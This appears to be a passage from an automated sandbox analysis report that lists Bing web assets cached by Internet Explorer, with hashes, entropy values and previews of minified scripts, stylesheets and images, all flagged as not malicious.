Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\GJDmKr3_TS3Qpm6KEL9UKUQKUO4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\GX1H8p_z27NqiIlBdQGVdC5rb9s[1].css

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (44213), with no line terminators
Category:	dropped
Size (bytes):	44213
Entropy (8bit):	5.4731108865747
Encrypted:	false
SSDEEP:	768:j3K3FC6AwneAIzFn94868I8GuK6HoxT7TbIuw9bNL6rb:bn4t3DOoxL//
MD5:	E917BC77D3F53468F4A6C9D7AF562B04
SHA1:	197D47F29FF3DBB36A888941750195742E6B6FDB
SHA-256:	AB1A27D51C348A05766BF4ADCF53206A5CC77992246BF28ED15E2F9F6930928D
SHA-512:	200F358305578EE7F0B23F985AADD58EF507CD9AC07BCFC8DB7DDD7D48D2CCD1528B5C8B3A20A11DCAF951CAF84781E5A838BA0F5DF9C3C3D843F084FF2F7E94
Malicious:	false
Preview:	#sw_as .sa_drw{margin:0}#sw_as .sa_zis_parent li.sa_sg,#sw_as .sa_as .sa_sg,#sw_as .sa_as .as_msbsugcontainer.as_msb_page_home{cursor:pointer;display:flex;height:30px;align-items:center;gap:12px;padding:0}#sw_as .sa_as .sa_drw.sa_drw_zis li.sa_sg.sa_ent,#sw_as .sa_as .sa_sg.sa_ent{padding-top:5px;padding-bottom:5px;height:30px}#sw_as #sa_ul:not(:has(div.sa_ent_nrml)) .sa_tm_mainText.sa_tm_rich{font-weight:bold}#sw_as .sa_as #sa_ul li.pp_tile:not(.pp_sTile){padding-left:50px}#sw_as .sa_as .sa_drw .sa_sg_icon_area{width:30px;height:30px;flex-shrink:0;margin-left:8px;margin-right:0}#sw_as .sa_as .sa_sg_icon_area .sa_sg_icon{margin-top:6px}#sw_as .sa_as .sa_sg_icon_area .sa_sg_icon_rrq_fnf{margin-top:9px}.sbox .sb_form #sw_as div.sa_as:not(.sa_nw) #sa_ul.sa_drw .sa_sg .sa_tm,.sbox_cn .sb_form #sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,.sbox .sb_form #sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,#sw_as .sa_as #sa_ul.sa_drw li.sa_sg div.sa_tm,#sw_as .sa_as #sa_ul .sa_tm_mainText{margin:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\KjCBfzuZ475zX0-Fu2bdXt9qifQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MWgq_OYohQuMsx-qjpxMXsnruVc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\No5xIZMVh9KdmI4bjLD9p4Xl0Ys[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\OUGU-N0FiScxTUHgZZYbR2CE9yQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2683), with no line terminators
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	5.285209446790883
Encrypted:	false
SSDEEP:	48:5sksi0wg1S0h195DlYt/5ZS/wAtKciZIgDa4V8ahff/Z/92zBDZDNJC0x0M:yk1g1zbed3SBkdZ9ZGVFNJCRM
MD5:	FB797698EF041DD693AEE90FB9C13C7E
SHA1:	394194F8DD058927314D41E065961B476084F724
SHA-256:	795E9290718EB62A1FB00646DC738F6A6B715B1171DD54A3D2DEFA013A74F3DA
SHA-512:	E03C4AB727567BE95B349B971E29CFFB3890CFB1A1DDF997B34B9D69154294A00A5112F4FFCA4DF4E26BBF96AFA75E5943E965EDC8F8E21035ED2EF30B7688D8
Malicious:	false
Preview:	var IPv6Tests;(function(n){function c(t){var r,c,o,l,f,s,i,a,v;try{if(y(),t==null\|\|t.length==0)return;if(r=sj_cook.get(n.ipv6testcookie,n.ipv6testcrumb),r!=null&&r=="1"&&!u)return;if(c=sj_cook.get(n.ipv6testcookie,n.iptypecrumb),r!=null&&c&&u&&(o=Number(r),l=(new Date).getTime(),!window.isNaN(o)&&o>l))return;if(f=_d.getElementsByTagName("head")[0],!f)return;if(s="ipV6TestScript"+t,i=sj_ce("script",s),i.type="text/javascript",i.async=!0,i.onerror=function(){Log.Log("ipv6test","IPv6Test Dom_ "+t,"IPv6TestError",!1,"Error","JSONP call resulted in error.")},a=_ge(s),a&&f)return;f.insertBefore(i,f.firstChild);i.setAttribute("src",_w.location.protocol+"//"+t+".bing.com/ipv6test/test");e&&p();v=u?(new Date).getTime()+h:"1";sj_cook.set(n.ipv6testcookie,n.ipv6testcrumb,v.toString(),!1)}catch(w){Log.Log("ipv6test","Dom_ "+t,"IPv6TestError",!1,"Error","Failed to make JSONP call. Exception - "+w.message)}}function l(t){if(!t){Log.Log("ipv6test","IPv6TestResponseError","IPv6TestError",!1,"Error","G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\QtZcquNOunoFE0KySXJmXmH6auI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	dropped
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\VMYMrXeSZyOXW5LQn-ede-_1jZk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (924), with no line terminators
Category:	dropped
Size (bytes):	924
Entropy (8bit):	5.195012633286773
Encrypted:	false
SSDEEP:	24:rVnoyfEzPHQFvG99rynERM93YGxSN+/sKE3p5vyNAM:rVnoyCkKgnCM9eBKE55vyj
MD5:	47442E8D5838BAAA640A856F98E40DC6
SHA1:	54C60CAD77926723975B92D09FE79D7BEFF58D99
SHA-256:	15ED1579BCCF1571A7D8B888226E9FE455ACA5628684419D1A18F7CDA68AF89E
SHA-512:	87C849283248BAF779FAAB7BDE1077A39274DA88BEA3A6F8E1513CB8DCD24A8C465BF431AEE9D655B4E4802E62564D020F0BB1271FB331074D2EC62FC8D08F63
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))};(function(){function n(n){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i]}function u(n,t){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];typeof Log!="undefined"&&Log&&Log.Log&&Log.Log.apply(Log,__spreadArray([i,n,t,!1],u,!1))}var t="acclink",i="acclink";if(sj_evt){sj_evt.bind("acclink:updated",function(t){if(t&&t.length>=2){var i=t[1],f=i.IsTenantAllowAccountLink,e=i.HasLinkedAccount;n("fire loadIdLinkIcon with acclink:updated ",t[1]);r(f,e);u("loadIdLinkIcon","load IdLinkIcon","params",t[1])}},1);function r(t,i){var r=_ge("id_linkicon");r&&(t&&i?(r.style.display="inline-block",n("show id link icon")):(r.style.display="none",n("hide id link icon")))}}})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\VzJCCN2zqegKvTNGYH1xLJmcLlA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (8674), with no line terminators
Category:	dropped
Size (bytes):	8674
Entropy (8bit):	5.212727429542033
Encrypted:	false
SSDEEP:	192:a4/1MfRZ4V9bmVKnhHKBEs9F3kBlVD+mxHpfuq:ac1MfRkHpiEs9dkBfDLJfuq
MD5:	1C0981AC86E2EA5B7F08F34548AF3280
SHA1:	57324208DDB3A9E80ABD3346607D712C999C2E50
SHA-256:	00FF3483D93259AEDB929A9FEE4454A623830B18A08F08781AC1961C1E98774A
SHA-512:	0F7185A8579D9BF1B89623BF126C58789010C76F7E279A3F44064C78B2E3E04BB0A89394E6BE185618071153BC872E43A69211255F3470E1120E51AB0D5F2329
Malicious:	false
Preview:	(function(n,t,i,r,u,f,e,o,s){function w(n,t,i){var r=[],u;return n&&(i=i\|\|"*",u=n.getElementsByTagName(i),h(u,function(n){nt(n,t)&&r.push(n)})),r}function b(n,t,i){var r=[];return h(n,function(n){var u=w(n,t,i);u&&u.length>0&&(r=r.concat(u))}),r}function bt(n,t){var i=[];return h(n,function(n){var r=null;try{r=n.querySelector(t)}finally{r&&(i=i.concat(r))}}),i}function ut(n){return g[n]\|\|(g[n]=new RegExp("\\b"+n+"\\b")),g[n]}function nt(n,t){var i=n.className\|\|"";return ut(t).test(i)}function y(n,t){n.className=n.className\|\|"";nt(n,t)\|\|(n.className+=" "+t)}function p(n,t){var i=n.className\|\|"",r=ut(t);n&&i&&t&&(n.className=n.className.replace(r,"").replace(/\s+/," "))}function a(n){return f(n),u(n),!1}function kt(n){return(n=n\|\|i.event,n.pageX\|\|n.pageY)?{x:n.pageX,y:n.pageY}:{x:n.clientX+s.scrollLeft-s.clientLeft,y:n.clientY+s.scrollTop-s.clientTop}}function c(n,t){var i=n.currentStyle,r=0,u;return _w.getComputedStyle&&(i=_w.getComputedStyle(n),sb_ie&&(r=parseFloat(i.paddingTop)+parseF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YcdZrN0lmnUgmIw9DVi7TFol2H4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	219
Entropy (8bit):	5.119404786158862
Encrypted:	false
SSDEEP:	6:2LGXh6BodmYWyXPBsw+SFsjRntLsMIxwCDrlT:2QBdoySw+YEOM8nlT
MD5:	33C123623267DDCCC3506DE4E71C105B
SHA1:	61C759ACDD259A7520988C3D0D58BB4C5A25D87E
SHA-256:	DDA145AF1F9D026E6C080B2D21FE7CA1CD46F4FB58DC1CAE1474C119B1E1FF2C
SHA-512:	0D0B40C625997D91D216DF9489D8D048047FC5179C264EEB77B8B1D28E5E11DFD633BE4B3AF07AFD96F9E0F526E5DD1BA97232AA6DE1B05A94FC60682321D151
Malicious:	false
Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(t){n&&Lib.CssClass.contains(n,"b_active")&&(sj_pd(t),sj_sp(t))},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\authorize[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (1197), with no line terminators
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.262579193163643
Encrypted:	false
SSDEEP:	24:k+NmKUauE2bovcLABeU572HQ3EA+spzuOC+s0+NaSrxcWZI1Ru1XI:n0GmLABeS71F+spza+s0+gSrxcWGu+
MD5:	E7082F4B0757FAE85A11B61EF1D2104F
SHA1:	3BD989B39048BCB173A5137030B545D80DBDC31A
SHA-256:	8EDB4F53FC855F400F93B59D11B04CDC9010F5D89434FF89498F69E6C57DDDB6
SHA-512:	32BC9F9F2B810E2857DB684E5DAF57269A3BA900CBD03F969FC437B35A2E853D3EFD31773E3EC9490649FF9F7AAECAC2AA4F8E52ED881C3D5C0AC8AB13D74B01
Malicious:	false
Preview:	<html><head><title>Working...</title></head><body><form method="POST" name="hiddenform" action="https://www.bing.com/orgid/idtoken/conditional"><input type="hidden" name="error" value="login_required" /><input type="hidden" name="error_description" value="AADSTS50058: A silent sign-in request was sent but no user is signed in. The cookies used to represent the user's session were not sent in the request to Azure AD. This can happen if the user is using Internet Explorer or Edge, and the web app sending the silent sign-in request is in different IE security zone than the Azure AD endpoint (login.microsoftonline.com). Trace ID: fc4be438-c919-4f6e-a36e-46170c63e100 Correlation ID: 89e79267-cbe3-4f56-ab66-fa4c74176f08 Timestamp: 2024-12-27 13:43:27Z" /><input type="hidden" name="error_uri" value="https://login.microsoftonline.com/error?code=50058" /><input type="hidden" name="state" value="{"ig":"9DA6EBEA7BE14A7499413E76D0E141A3"}" /><noscript><p>Script is disabled.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\eTi-SFYR-dQX6EuMCnS9PFieBS8[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (429), with no line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.098203134109495
Encrypted:	false
SSDEEP:	12:GtAJv9xWHXWpwYMEX3IR6lVDZWhHD6GkPsHKHOZzu2wBRHJhNURtAJ4ZQetAJD:GeyWeYMEnsUVoHoigkhwBRphNQR+e+
MD5:	0794C2FFC9AAF238496BF687A9C68799
SHA1:	7938BE485611F9D417E84B8C0A74BD3C589E052F
SHA-256:	805AAA9634639B2EAA912E117219727DFA6E92A63B8B92569C336A9CCDE52DEE
SHA-512:	FEFBFBD39B9B86D8975D8FAAB62B50515488E9BF1E21AD72FED9FA93614E10ADAFC99DA77349EAD2501B89D422D766ADC313B6024BCB9B331AB83A7B99BB135F
Malicious:	false
Preview:	var SBIImgsHelper;(function(){function i(){typeof SbiUtil!="undefined"&&(SbiUtil===null\|\|SbiUtil===void 0?void 0:SbiUtil.oncop(SbiUtil.rt,r))}function r(i){var r=i.target\|\|i.srcElement,u;r&&r.tagName==="IMG"&&r.classList.contains(n)&&r.src&&(u=r.getAttribute(t),u&&sj_evt&&sj_evt.fire&&sj_evt.fire("sbi_searchimgurl",SbiUtil.gimg(r),u,null,SbiUtil.gaps(r)))}var n="sbiable",t="data-sbiid";i()})(SBIImgsHelper\|\|(SBIImgsHelper={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\f-Y4kt-7SuB49beEoxsp6YHiJSM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (19674), with no line terminators
Category:	dropped
Size (bytes):	19674
Entropy (8bit):	5.33240026231163
Encrypted:	false
SSDEEP:	384:3Wsj/9Npzk8fbw3QMXmwOAahGvyBJeXiOOF240eApyfYRxW+:3z/PpzkLXmw0onXi9F24Ypw43
MD5:	5704A84AC0573BDBF11A8DA6582410C6
SHA1:	7FE63892DFBB4AE078F5B784A31B29E981E22523
SHA-256:	525FA9E3B57ABEE5ED411C5EBA2F74DFF25D2591BBC142A976DE1604E2502D9E
SHA-512:	4DF7C5152CC7A9BE28A650A3C275B9F9880139D640268E3266968EB585F813E6178FEE193D8348B5DA386A3893E54FD40A3B6149275DB404D3511F27532D8170
Malicious:	false
Preview:	var customEvents,__spreadArray,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){return i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fEzca4bKO4pRulhVlOoat7eLgmU[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\favicon[1].ico

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.8046022951415335
Encrypted:	false
SSDEEP:	24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
MD5:	DA597791BE3B6E732F0BC8B20E38EE62
SHA1:	1125C45D285C360542027D7554A5C442288974DE
SHA-256:	5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
